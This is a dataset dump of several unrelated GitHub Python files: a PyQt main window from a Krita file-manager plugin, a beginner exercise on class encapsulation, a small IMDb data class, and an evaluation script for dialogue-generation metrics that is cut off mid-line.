toolbarsConfigSorted = []\n for toolbarId in [toolbarSession['id'] for toolbarSession in toolbarsSession]:\n if toolbarId in tmp:\n toolbarsConfigSorted.append(tmp.pop(toolbarId))\n\n for toolbarDefinition in toolbarsConfig:\n if toolbarDefinition['id'] in tmp:\n toolbarsConfigSorted.append(toolbarDefinition)\n\n toolbarsConfig = toolbarsConfigSorted\n\n for toolbarDefinition in toolbarsConfig:\n toolbar = self.addToolBar(toolbarDefinition['label'])\n toolbar.setObjectName(toolbarDefinition['id'])\n toolbar.setToolButtonStyle(1)\n toolbar.setToolButtonStyle(toolbarDefinition['style'])\n toolbar.setFloatable(False)\n for action in toolbarDefinition['actions']:\n if action == 'ba32b31ff4730cbf42ba0962f981407bcb4e9c58': # separator Id\n toolbar.addSeparator()\n else:\n foundAction = self.findChild(QAction, action, Qt.FindChildrenRecursively)\n if foundAction:\n toolbar.addAction(foundAction)\n self.__toolbars.append(toolbar)\n\n if toolbarsSession is not None:\n for toolbarSession in toolbarsSession:\n for toolbar in self.__toolbars:\n if toolbar.objectName() == toolbarSession['id']:\n if toolbarSession['break']:\n self.addToolBarBreak(toolbarSession['area'])\n self.addToolBar(toolbarSession['area'], toolbar)\n geometry = toolbarSession['rect']\n toolbar.setVisible(toolbarSession['visible'])\n # not working...?\n # toolbar.setGeometry(geometry[0], geometry[1], geometry[2], geometry[3])\n break\n\n self.menuSettingsToolbars.setEnabled(len(self.__toolbars) > 0)\n self.setUpdatesEnabled(True)\n\n def toolbarList(self):\n \"\"\"Return list of toolbar\"\"\"\n return self.__toolbars\n\n def __menuSettingsToolbarsToggled(self, value):\n \"\"\"A toolbar Sub-menu checkedbox has been changed\"\"\"\n action = self.sender()\n action.data().setVisible(value)\n\n def __menuSettingsToolbarsShow(self):\n \"\"\"Display toolbar menu\"\"\"\n self.menuSettingsToolbars.clear()\n\n for toolbar in self.__toolbars:\n action = self.menuSettingsToolbars.addAction(toolbar.windowTitle())\n action.setCheckable(True)\n action.setChecked(toolbar.isVisible())\n action.setData(toolbar)\n action.toggled.connect(self.__menuSettingsToolbarsToggled)\n\n # endregion: initialisation methods ----------------------------------------\n\n # region: define actions method --------------------------------------------\n\n def __actionNotYetImplemented(self, v=None):\n \"\"\"\"Method called when an action not yet implemented is triggered\"\"\"\n WDialogMessage.display(\n self.__uiController.name(),\n i18n(f\"Sorry! Action has not yet been implemented ({v})\")\n )\n\n def __menuFileSaveAll(self, action):\n \"\"\"Save all modified file(s)\"\"\"\n self.__uiController.commandFileSaveAll()\n\n def __menuFileOpen(self, action):\n \"\"\"Open selected file(s)\"\"\"\n self.__uiController.commandFileOpen()\n\n def __menuFileCreateDirectory(self, action):\n \"\"\"Create a new directory\"\"\"\n self.__uiController.commandFileCreateDir()\n\n def __menuFileOpenAsNewDocument(self, action):\n \"\"\"Open selected file(s) as new document\"\"\"\n self.__uiController.commandFileOpenAsNew()\n\n def __menuFileOpenAsImageReference(self, action):\n \"\"\"Open selected file(s) as image reference\"\"\"\n self.__uiController.commandFileOpenAsImageReference()\n\n def __menuFileOpenAsLayer(self, action):\n \"\"\"Open selected file(s) as layer\"\"\"\n self.__uiController.commandFileOpenAsLayer()\n\n def __menuFileOpenAsFileLayer(self, action):\n \"\"\"Open selected file(s) as file layer\"\"\"\n self.__uiController.commandFileOpenAsFileLayer()\n\n def __menuFileDeleteConfirm(self, action):\n \"\"\"Delete file after confirmation\"\"\"\n self.__uiController.commandFileDelete(True)\n\n def __menuFileDeleteNoConfirm(self):\n \"\"\"Delete file without confirmation\"\"\"\n self.__uiController.commandFileDelete(False)\n\n def __menuFileCopyConfirm(self, action):\n \"\"\"Copy file after confirmation\"\"\"\n self.__uiController.commandFileCopy(True)\n\n def __menuFileCopyNoConfirm(self):\n \"\"\"Copy file without confirmation\"\"\"\n self.__uiController.commandFileCopy(False)\n\n def __menuFileMoveConfirm(self, action):\n \"\"\"Move file after confirmation\"\"\"\n self.__uiController.commandFileMove(True)\n\n def __menuFileMoveNoConfirm(self):\n \"\"\"Move file without confirmation\"\"\"\n self.__uiController.commandFileMove(False)\n\n def __menuFileRename(self):\n \"\"\"Rename file(s)\"\"\"\n self.__uiController.commandFileRename()\n\n def __menuClipboardCheckContent(self):\n \"\"\"Check clipboard content manually\"\"\"\n self.__uiController.commandClipboardCheckContent()\n\n def __menuClipboardPushBackClipboard(self):\n \"\"\"Push back content to clipboard\"\"\"\n self.__uiController.commandClipboardPushBackClipboard()\n\n def __menuClipboardPasteAsNewLayer(self):\n \"\"\"Paste content as new layer\"\"\"\n self.__uiController.commandClipboardPasteAsNewLayer()\n\n def __menuClipboardPasteAsNewDocument(self):\n \"\"\"Paste content as new document\"\"\"\n self.__uiController.commandClipboardPasteAsNewDocument()\n\n def __menuClipboardPasteAsRefImage(self):\n \"\"\"Paste content as reference image\"\"\"\n self.__uiController.commandClipboardPasteAsRefImage()\n\n def __menuClipboardOpen(self):\n \"\"\"Open document\"\"\"\n self.__uiController.commandClipboardOpen()\n\n def __menuClipboardSave(self):\n \"\"\"Open document\"\"\"\n self.__uiController.commandClipboardSave()\n\n def __menuClipboardSetPersistent(self):\n \"\"\"Set clipboard item persistent\"\"\"\n self.__uiController.commandClipboardSetPersistent(None, True)\n\n def __menuClipboardSetNotPersistent(self):\n \"\"\"Set clipboard item not persistent\"\"\"\n self.__uiController.commandClipboardSetPersistent(None, False)\n\n def __menuClipboardRemove(self):\n \"\"\"Remove selected items from clipboard\"\"\"\n self.__uiController.commandClipboardRemove(None)\n\n def __menuClipboardStartDownload(self):\n \"\"\"Start download for selected items\"\"\"\n self.__uiController.commandClipboardStartDownload()\n\n def __menuClipboardStopDownload(self):\n \"\"\"Stop download for selected items\"\"\"\n self.__uiController.commandClipboardStopDownload()\n\n def __menuEditSelectAll_clicked(self, action):\n \"\"\"Select all files\"\"\"\n self.__uiController.commandPanelSelectAll(self.__highlightedPanel)\n\n def __menuEditSelectNone_clicked(self, action):\n \"\"\"Select no files\"\"\"\n self.__uiController.commandPanelSelectNone(self.__highlightedPanel)\n\n def __menuEditSelectInvert_clicked(self, action):\n \"\"\"Select inverted\"\"\"\n self.__uiController.commandPanelSelectInvert(self.__highlightedPanel)\n\n def __menuEditSelectMarked_clicked(self, action):\n \"\"\"Select inverted\"\"\"\n self.__uiController.commandPanelSelectMarked(self.__highlightedPanel)\n\n def __menuEditMarkUnmark_clicked(self, action):\n \"\"\"Select all files\"\"\"\n self.__uiController.commandPanelMarkUnmark(self.__highlightedPanel)\n\n def __menuEditMarkAll_clicked(self, action):\n \"\"\"Select all files\"\"\"\n self.__uiController.commandPanelMarkAll(self.__highlightedPanel)\n\n def __menuEditMarkNone_clicked(self, action):\n \"\"\"Select no files\"\"\"\n self.__uiController.commandPanelMarkNone(self.__highlightedPanel)\n\n def __menuEditMarkInvert_clicked(self, action):\n \"\"\"Select inverted\"\"\"\n self.__uiController.commandPanelMarkInvert(self.__highlightedPanel)\n\n def __menuGoHome_clicked(self, action):\n \"\"\"Go to home directory\"\"\"\n self.__uiController.commandGoHome(self.__highlightedPanel)\n\n def __menuGoUp_clicked(self, action):\n \"\"\"Go to parent directory\"\"\"\n self.__uiController.commandGoUp(self.__highlightedPanel)\n\n def __menuGoBack_clicked(self, action):\n \"\"\"Go to previous directory\"\"\"\n self.__uiController.commandGoBack(self.__highlightedPanel)\n\n def __menuViewThumbnail_clicked(self, action):\n \"\"\"Set view mode as icon\"\"\"\n self.__uiController.commandViewThumbnail(self.__highlightedPanel, action)\n\n def __menuViewDisplayQuickFilter_clicked(self, action):\n \"\"\"Display/hide quick filter for panel\"\"\"\n self.__uiController.commandViewDisplayQuickFilter(self.__highlightedPanel, action)\n\n def __menuViewShowImageFileOnly_clicked(self, action):\n \"\"\"Display readable file only\"\"\"\n self.__uiController.commandViewShowImageFileOnly()\n\n def __menuViewShowBackupFiles_clicked(self, action):\n \"\"\"Display backup files\"\"\"\n self.__uiController.commandViewShowBackupFiles()\n\n def __menuViewShowHiddenFiles_clicked(self, action):\n \"\"\"Display hidden files\"\"\"\n self.__uiController.commandViewShowHiddenFiles()\n\n def __menuToolsCopyToClipboard_clicked(self, action):\n \"\"\"Copy current selected items to clipboard\"\"\"\n self.__uiController.commandToolsListToClipboard()\n\n def __menuToolsExportFiles_clicked(self, action):\n \"\"\"Open export file list tool\"\"\"\n self.__uiController.commandToolsExportFilesOpen()\n\n def __menuToolsConvertFiles_clicked(self, action):\n \"\"\"Open convert file tool\"\"\"\n self.__uiController.commandToolsConvertFilesOpen()\n\n def __menuToolsSearchFiles_clicked(self, action):\n \"\"\"Open search file tool\"\"\"\n self.__uiController.commandToolsSearchFilesOpen()\n\n # endregion: define actions method -----------------------------------------\n\n # region: events- ----------------------------------------------------------\n\n def showEvent(self, event):\n \"\"\"Event trigerred when dialog is shown\n\n At this time, all widgets are initialised and size/visiblity is known\n\n Example\n =======\n # define callback function\n def my_callback_function():\n # BCMainWindow shown!\n pass\n\n # initialise a dialog from an xml .ui file\n dlgMain = BCMainWindow.loadUi(uiFileName)\n\n # execute my_callback_function() when dialog became visible\n dlgMain.dialogShown.connect(my_callback_function)\n \"\"\"\n super(BCMainWindow, self).showEvent(event)\n\n for panelId in self.panels:\n self.panels[panelId].setAllowRefresh(True)\n\n self.dialogShown.emit()\n\n def closeEvent(self, event):\n \"\"\"Event executed when window is about to be closed\"\"\"\n # event.ignore()\n self.__uiController.close()\n event.accept()\n\n def eventFilter(self, object, event):\n \"\"\"Manage event filters for window\"\"\"\n if object in self.__eventCallBack.keys():\n return self.__eventCallBack[object](event)\n\n return super(BCMainWindow, self).eventFilter(object, event)\n\n def setEventCallback(self, object, method):\n \"\"\"Add an event callback method for given object\n\n Example\n =======\n # define callback function\n def my_callback_function(event):\n if event.type() == QEvent.xxxx:\n # Event!\n return True\n return False\n\n # initialise a dialog from an xml .ui file\n dlgMain = BCMainWindow.loadUi(uiFileName)\n\n # define callback for widget from ui\n dlgMain.setEventCallback(dlgMain.my_widget, my_callback_function)\n \"\"\"\n if object is None:\n return False\n\n self.__eventCallBack[object] = method\n object.installEventFilter(self)\n\n def event(self, event):\n if event.type() == QEvent.WindowActivate:\n self.dialogActivate.emit()\n elif event.type() == QEvent.WindowDeactivate:\n self.dialogDeactivate.emit()\n\n return QMainWindow.event(self, event)\n\n # endregion: events --------------------------------------------------------\n\n # region: methods ----------------------------------------------------------\n\n def highlightedPanel(self):\n \"\"\"Return current highlighted panel\"\"\"\n return self.__highlightedPanel\n\n def setHighlightedPanel(self, highlightedPanel):\n \"\"\"Set current highlighted panel\"\"\"\n if highlightedPanel not in self.panels:\n raise EInvalidValue('Given `highlightedPanel` must be 0 or 1')\n\n self.__highlightedPanel = highlightedPanel\n self.__uiController.updateMenuForPanel()\n\n def getWidgets(self):\n \"\"\"Return a list of ALL widgets\"\"\"\n def appendWithSubWidget(parent):\n list = [parent]\n if len(parent.children()) > 0:\n for w in parent.children():\n list += appendWithSubWidget(w)\n return list\n\n return appendWithSubWidget(self)\n\n def displayMessageBar(self, message, *buttons):\n \"\"\"Display message bar\"\"\"\n self.widgetMsgBar.message(message, *buttons)\n\n def hideMessageBar(self):\n \"\"\"Hide message bar\"\"\"\n self.widgetMsgBar.hide()\n\n # endregion: methods -------------------------------------------------------\n","repo_name":"Grum999/BuliCommander","sub_path":"bulicommander/bulicommander/bc/bcmainwindow.py","file_name":"bcmainwindow.py","file_ext":"py","file_size_in_byte":30953,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"54"} +{"seq_id":"74127728802","text":"# write a python sript to update the above profile class with encapsulation.\r\nclass student:\r\n def __init__(self):\r\n self.__name='gaurav'\r\n self.__email=\"gaurav@gmail.com\"\r\n self.__age=25\r\n\r\n def data(self):\r\n print(self.__name)\r\n print(self.__email) \r\n print(self.__age) \r\n\r\ns1=student()\r\n\r\nprint(s1.data()) \r\n\r\n \r\n ","repo_name":"gauravaps/assignment-no-25","sub_path":"create a class with encapsulation.py","file_name":"create a class with encapsulation.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30598624901","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 12 06:32:52 2019\n\n@author: Lyu CSTAR\n\"\"\"\nclass Imdb:\n def __init__(self):\n self.id = ''\n self.type = 'NULL'\n self.title = 'NULL'\n self.genre = 'NULL'\n self.production_co = 'NULL'\n\n","repo_name":"web3-literally/python-bigdata-management","sub_path":"EntertainDBProc/imdb.py","file_name":"imdb.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"70347122722","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom typing import List, Dict, Optional, Union\nimport json\nimport argparse\nfrom pathlib import Path\nimport time\nfrom datasets import load_dataset\nfrom tqdm import tqdm\nimport numpy as np\nimport pandas as pd\n\ntry:\n from .perplexity import score_ppl\n from .sentence_processing import count_questions, count_exclamations\n from .reference_metrics import compute_rouge, compute_bleu, compute_meteor, compute_exact_match, compute_self_bleu\n from .distinct import distinct_n\n from .tokenization import tokenize_texts\n from .novelty import compute_novelty\n from .sentiment import classify_sentiment, classify_sentiment_with_vader\n from .hedge_detection import HedgeHogModel, count_hedge_phrases, hedging_contrast, hedging_management, hedging_evasion\nexcept ImportError:\n from perplexity import score_ppl\n from sentence_processing import count_questions, count_exclamations\n from reference_metrics import compute_rouge, compute_bleu, compute_meteor, compute_exact_match, compute_self_bleu\n from distinct import distinct_n\n from tokenization import tokenize_texts\n from novelty import compute_novelty\n from sentiment import classify_sentiment, classify_sentiment_with_vader\n from hedge_detection import HedgeHogModel, count_hedge_phrases, hedging_contrast, hedging_management, hedging_evasion\n\nexpected_keys = [\n 'model_name_or_path', 'checkpoint_dir', 'test_file', 'text_column', 'summary_column', \n 'knowledge_column', 'batch_size', 'max_length', 'do_sample', 'top_p', 'top_k', 'temperature', \n 'beam_size', 'num_return_sequences', 'write_to_file', 'seed', 'uniq', 'qc_turn_level', \n 'qc_sent_level', 'ppl_mean', 'ppl_std', 'intra_dist1', 'intra_dist2', 'inter_dist1', \n 'inter_dist2', 'bleu_t', 'rouge1_t', 'meteor_t', 'bleu_k', 'rouge1_k', 'meteor_k', \n 'bleu_d', 'rouge1_d', 'meteor_d'\n ]\n\ndef set_args():\n ap = argparse.ArgumentParser()\n ap.add_argument('generations', type=str, help='file or diectory of files containing generated outputs from inference.py')\n ap.add_argument('-r', '--references_file', type=str, default=None, help='e.g. `resources/data/Topical-Chat/KGD/test_freq.json`')\n ap.add_argument('-o', '--outfile', type=str, default=None, help='')\n ap.add_argument('--output_dir', type=str, default=None, help='')\n ap.add_argument('-v', '--verbose', action='store_true', help='')\n ap.add_argument('--exp_ids', \n nargs='*', \n type=str, \n default=[\n 'baseline', \n 'qu_ctxt_aug1', \n 'qu_ctxt_aug5', \n 'short_qu_ctxt_aug5',\n 'single_qu_ctxt_aug5',\n 'xa_dialog', \n 'xa_dialog+qu_ctxt_aug5', \n 'xa_knowledge', \n 'xa_knowledge+qu_ctxt_aug5',\n 'pos_sent_ctxt_aug5', \n 'single_pos_ctxt_aug5',\n # 'neu_sent_ctxt_aug5',\n 'neg_sent_ctxt_aug5',\n 'hedging_contrast_ctxt_aug5',\n 'hedging_management_ctxt_aug5',\n 'hedging_evasion_ctxt_aug5',\n 'ambig_qu_ctxt_aug5',\n 'ambig_excl_ctxt_aug5',\n 'e_words_ctxt_aug5',\n 'd_words_ctxt_aug5',\n 'i_words_ctxt_aug5',\n 'n_words_ctxt_aug5',\n 'excl_ctxt_aug5',\n ],\n help='experiment ids to run evaluation for (by default, will evaluate outputs for all)')\n\n return ap.parse_args()\n\ndef read_lines(file: str, sep: str = '\\t'):\n lines = []\n with open(file, 'r', encoding='utf8') as f:\n for line in tqdm(f):\n line = line.split(sep)[0]\n lines.append(line.strip())\n return lines\n\ndef reshape_data(data: List[Dict]):\n \"\"\"\n \n \"\"\"\n reshaped = {}\n keys = list(data[0].keys())\n for key in keys:\n reshaped[key] = []\n for line in data:\n reshaped[key].append(line[key])\n return reshaped\n\ndef read_json_lines(file: str):\n lines = []\n with open(file, 'r', encoding='utf8') as f:\n for line in f:\n lines.append(json.loads(line.strip()))\n return reshape_data(lines)\n \ndef uniq_response_ratio(texts: List[str]):\n return len(set(texts)) / len(texts)\n\ndef compute_reference_free_metrics(\n sys_outputs: List[str], \n verbose: bool = False\n ) -> Dict:\n \"\"\"\n reference-free metrics\n \"\"\"\n\n result = {}\n\n if verbose:\n print('computing string level metrics...')\n result['uniq'] = uniq_response_ratio(sys_outputs)\n lens = np.array([len(text.split()) for text in tokenize_texts(sys_outputs)])\n result['len_mean'] = lens.mean()\n result['len_std'] = lens.std()\n\n\n # question count\n if verbose:\n print('counting questions...')\n qc = count_questions(sys_outputs) \n result['qc_turn_level'] = sum([1 for i in qc if i > 0]) / len(qc)\n result['qc_sent_level'] = qc.sum() / len(qc)\n\n if verbose:\n print('counting exclamations...')\n ec = count_exclamations(sys_outputs)\n result['ec_turn_level'] = sum([1 for i in ec if i > 0]) / len(ec)\n result['ec_sent_level'] = ec.sum() / len(ec)\n\n if verbose:\n print('predicting sentiment...')\n # sentiment - we use rule based vader for pos, neg, neu sentiment classification\n sentiment_preds = classify_sentiment_with_vader(sys_outputs)\n result['vader_pos_sents'] = sum([1 for i in sentiment_preds if i['label'] == 'POSITIVE']) / len(sentiment_preds)\n result['vader_neu_sents'] = sum([1 for i in sentiment_preds if i['label'] == 'NEUTRAL']) / len(sentiment_preds)\n result['vader_neg_sents'] = sum([1 for i in sentiment_preds if i['label'] == 'NEGATIVE']) / len(sentiment_preds)\n\n sentiment_preds = classify_sentiment(sys_outputs, 'distilbert-base-uncased-finetuned-sst-2-english', 128)\n result['pos_sents'] = sum([1 for i in sentiment_preds if i['label'] == 'POSITIVE']) / len(sentiment_preds)\n result['neu_sents'] = sum([1 for i in sentiment_preds if i['label'] == 'NEUTRAL']) / len(sentiment_preds)\n result['neg_sents'] = sum([1 for i in sentiment_preds if i['label'] == 'NEGATIVE']) / len(sentiment_preds)\n\n # hedging detection\n if verbose:\n print('detecting hedging...')\n result['hedging_contrast'] = count_hedge_phrases(sys_outputs, hedging_contrast) / len(sys_outputs)\n result['hedging_management'] = count_hedge_phrases(sys_outputs, hedging_management) / len(sys_outputs)\n result['hedging_evasion'] = count_hedge_phrases(sys_outputs, hedging_evasion) / len(sys_outputs)\n\n # uncertainty cues hedging detection\n hedgehog = HedgeHogModel(use_cuda=True, batch_size=128, mp=False)\n predictions, _ = hedgehog.annotate(sys_outputs)\n token_counts, sent_counts = hedgehog.count_hedges(predictions)\n for key, value in sent_counts.items():\n result[f'{key}_sents'] = value / sum(sent_counts.values())\n for key, value in token_counts.items():\n result[f'{key}_tokens'] = value # this is the raw count, not the ratio\n\n # perplexity\n if verbose:\n print('computing perplexity...')\n ppl_mean, ppl_std = score_ppl(sys_outputs, batch_size=128)\n result['ppl_mean'] = ppl_mean\n result['ppl_std'] = ppl_std\n\n # distint-n\n if verbose:\n print('computing distint-n...')\n dist = distinct_n(tokenize_texts(sys_outputs)) # returns dict\n result.update(dist)\n\n # self-bleu\n if verbose:\n print('computing self-bleu...')\n self_bleu = compute_self_bleu(sys_outputs, use_subset=200, is_tokenized=False, verbose=verbose)\n result['self_bleu'] = self_bleu['score']\n\n return result\n\ndef compute_reference_based_metrics(\n sys_outputs: List[str], \n references: List[List[str]],\n tag: str = '',\n is_tokenized: bool = False,\n verbose: bool = False\n ) -> Dict:\n \"\"\"\n reference-based metrics (BLEU, ROUGE, METEOR) for KGD\n\n :tag: 't' for target, 'k' for knowledge, 'd' for dialog\n \"\"\"\n result = {}\n \n print(f'Computing reference-based metrics for {tag}...')\n\n bleu = compute_bleu(sys_outputs, references, is_tokenized=is_tokenized, verbose=verbose)\n rouge = compute_rouge(sys_outputs, references, is_tokenized=is_tokenized, verbose=verbose)\n meteor = compute_meteor(sys_outputs, references, is_tokenized=is_tokenized, verbose=verbose)\n exact = compute_exact_match(\n sys_outputs, \n [' '.join(r) for r in references], \n is_tokenized=False, \n regexes_to_ignore = [r'\\s*', r'\\s*'],\n ignore_case = False,\n ignore_punctuation = False,\n ignore_numbers = False,\n verbose=verbose\n )\n \n novelty = compute_novelty(sys_outputs, references, is_tokenized=is_tokenized, ignore_case=True, N=4, verbose=verbose)\n\n if tag:\n tag = '_' + tag[0]\n\n result[f'bleu{tag}'] = bleu['score'] if bleu is not None else None\n result[f'rouge1{tag}'] = rouge['rouge1'] if rouge is not None else None\n result[f'rouge2{tag}'] = rouge['rouge2'] if rouge is not None else None\n result[f'rougeL{tag}'] = rouge['rougeL'] if rouge is not None else None\n result[f'meteor{tag}'] = meteor['meteor'] if meteor is not None else None\n result[f'exact{tag}'] = exact['exact_match'] if exact is not None else None\n result[f'novelty{tag}_1gram'] = novelty.get('1_gram') if novelty is not None else None\n result[f'novelty{tag}_2gram'] = novelty.get('2_gram') if novelty is not None else None\n result[f'novelty{tag}_3gram'] = novelty.get('3_gram') if novelty is not None else None\n result[f'novelty{tag}_4gram'] = novelty.get('4_gram') if novelty is not None else None\n\n return result \n\ndef validate_system_outputs(sys_outputs: List[str]) -> List[str]:\n \"\"\"\n check if system outputs are valid\n \"\"\"\n problematic = []\n for i in range(len(sys_outputs)):\n if len(sys_outputs[i].strip().split()) < 1:\n sys_outputs[i] = 'n/a.'\n problematic.append(i+1) # offset by 1 to match line number in file\n if len(problematic) > 0:\n print(f'[!] {len(problematic)} problematic system outputs: Check the following lines: {problematic}')\n return sys_outputs \n\ndef parse_args_from_file(file: Path) -> Dict:\n \"\"\"\n hack to parse args from a generation file for post-hoc evaluation\n \"\"\"\n\n model_name_or_path = str(file.parents[2])\n checkpoint_dir = str(file.parents[1].name)\n \n file_args = file.stem.split('_') # e.g. ['generationstest', 'freq', 'seed=0', 'ml=40', 'lp=1.0', 'ns=1', 'bs=4', 'ds=1', 'temp=0.7', 'tk=0', 'tp=0.9']\n test_file = file_args[0][11:]+'_'+file_args[1]+'.json'\n text_column = 'turns'\n summary_column = 'target'\n knowledge_column = 'knowledge'\n batch_size = 120\n max_length = int(file_args[3].split('=')[1])\n do_sample = True if file_args[7].split('=')[1] == '1' else False\n top_p = float(file_args[10].split('=')[1])\n top_k = int(file_args[9].split('=')[1])\n temperature = float(file_args[8].split('=')[1])\n beam_size = int(file_args[7].split('=')[1])\n num_return_sequences = int(file_args[6].split('=')[1])\n write_to_file = 'auto' #str(file)\n seed = int(file_args[2].split('=')[1])\n \n return {\n 'model_name_or_path': model_name_or_path,\n 'checkpoint_dir': checkpoint_dir,\n 'test_file': test_file,\n 'text_column': text_column,\n 'summary_column': summary_column,\n 'knowledge_column': knowledge_column,\n 'batch_size': batch_size,\n 'max_length': max_length,\n 'do_sample': do_sample,\n 'top_p': top_p,\n 'top_k': top_k,\n 'temperature': temperature,\n 'beam_size': beam_size,\n 'num_return_sequences': num_return_sequences,\n 'write_to_file': write_to_file,\n 'seed': seed\n }\n\ndef score_kgd_generation(\n sys_outputs: List[str], \n targets: Optional[List[str]],\n knowledge_snippets: Optional[List[str]] = None,\n dialogs: Optional[List[str]] = None,\n sys_inputs: Optional[List[str]] = None,\n verbose: bool = False\n ):\n\n start_time = time.time()\n result = {}\n\n validate_system_outputs(sys_outputs)\n\n result.update(compute_reference_free_metrics(sys_outputs, verbose=verbose))\n # targets as references (i.e. true references)\n if targets is not None:\n result.update(compute_reference_based_metrics(sys_outputs, targets, 'target', verbose))\n # only knowledge snippets as references\n if knowledge_snippets is not None:\n result.update(compute_reference_based_metrics(sys_outputs, knowledge_snippets, 'knowledge', verbose))\n # only dialogs as references\n if dialogs is not None:\n result.update(compute_reference_based_metrics(sys_outputs, dialogs, 'dialog', verbose))\n # source texts as references\n if sys_inputs is not None: # using model inputs as references\n result.update(compute_reference_based_metrics(sys_outputs, sys_inputs, 'source', verbose))\n elif knowledge_snippets is not None and dialogs is not None:\n combined_inputs = [[' '.join(knowledge_snippets[i] + dialogs[i])] for i in range(len(knowledge_snippets))]\n result.update(compute_reference_based_metrics(sys_outputs, combined_inputs, 'source', verbose))\n\n end_time = time.time()\n \n print(f'Scored {len(sys_outputs)} system outputs in {end_time-start_time:.2f} seconds.')\n\n return result\n\n\ndef write_to_csv(result: List[Dict], outfile: Optional[str]):\n df = pd.DataFrame(result)\n if not outfile:\n print(df.to_csv(index=False))\n else:\n Path(outfile).parent.mkdir(parents=True, exist_ok=True)\n df.to_csv(outfile, index=False)\n print(f'Wrote {len(df)} results to {outfile}')\n return\n\ndef main(args):\n if Path(args.generations).is_dir(): # run evaluation for each file in the directory\n # this is a bit hacky and only intended for post-hoc evalautions of pipeline runs...\n for exp_id in args.exp_ids:\n if exp_id == 'baseline':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9.txt'))\n elif exp_id == 'qu_ctxt_aug1':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=1-train_questions-10.txt'))\n elif exp_id == 'qu_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-train_questions-10.txt'))\n elif exp_id == 'short_qu_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-short_questions-5.txt'))\n elif exp_id == 'xa_dialog':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_xatt=5-dialog.txt'))\n elif exp_id == 'xa_dialog+qu_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_xatt=5-dialog_ctxt=5-train_questions.txt'))\n elif exp_id == 'xa_knowledge':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_xatt=5-knowledge.txt'))\n elif exp_id == 'xa_knowledge+qu_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_xatt=5-knowledge_ctxt=5-train_questions-10.txt'))\n elif exp_id == 'pos_sent_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-pos_sents-5.txt'))\n elif exp_id == 'neu_sent_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-train_neu_sents-10.txt'))\n elif exp_id == 'neg_sent_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-neg_sents-5.txt'))\n elif exp_id == 'long_pos_sent_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-train_pos_sents-10.txt'))\n elif exp_id == 'long_neg_sent_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-train_neg_sents-10.txt'))\n elif exp_id == 'hedging_contrast_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-hedging_contrast-5.txt'))\n elif exp_id == 'hedging_management_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-hedging_management-5.txt'))\n elif exp_id == 'hedging_evasion_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-hedging_evasion-5.txt'))\n elif exp_id == 'ambig_qu_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-train_amibig_questions-10.txt'))\n elif exp_id == 'ambig_excl_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-train_amibig_exclamations-10.txt'))\n elif exp_id == 'e_words_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-e_words-5.txt'))\n elif exp_id == 'd_words_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-d_words-5.txt'))\n elif exp_id == 'i_words_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-i_words-5.txt'))\n elif exp_id == 'n_words_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-n_words-5.txt'))\n elif exp_id == 'excl_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-train_exclamations-5.txt'))\n elif exp_id == 'single_qu_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-train_questions-1.txt'))\n elif exp_id == 'single_pos_ctxt_aug5':\n generations_files = sorted(Path(args.generations).glob(f'*tp=0.9_ctxt=5-pos_sents-1.txt'))\n else:\n raise ValueError(f'Unknown experiment id: {exp_id}')\n\n assert len(generations_files) != 0, f'No generations files found for {exp_id} in {args.generations}'\n\n results = []\n for generations_file in generations_files:\n print(f'====== Scoring {generations_file} ======')\n sys_outputs = read_lines(generations_file)\n source = read_json_lines(args.references_file) if args.references_file is not None else None\n \n gen_args = parse_args_from_file(generations_file)\n \n refs_t = [[i] for i in source['target']]\n refs_k = [[i] for i in source['knowledge']]\n refs_d = [[' '.join(i)] for i in source['turns']]\n\n scores = score_kgd_generation(\n sys_outputs=sys_outputs,\n targets=refs_t,\n knowledge_snippets=refs_k,\n dialogs=refs_d,\n verbose=args.verbose,\n )\n \n result = {**gen_args, **scores}\n # results keys should contain the following columns\n if set(result.keys()) != set(expected_keys):\n print(f'[!] WARNING: results keys do not match expected keys! This may be due to a change in the evaluation script. If you are sure the results are correct, please update the expected_keys variable.')\n print(f'\\tExpected: {set(expected_keys)}')\n print(f'\\tFound: {set(result.keys())}')\n\n print(result)\n results.append(result)\n\n models_evaluated = [r['model_name_or_path'] for r 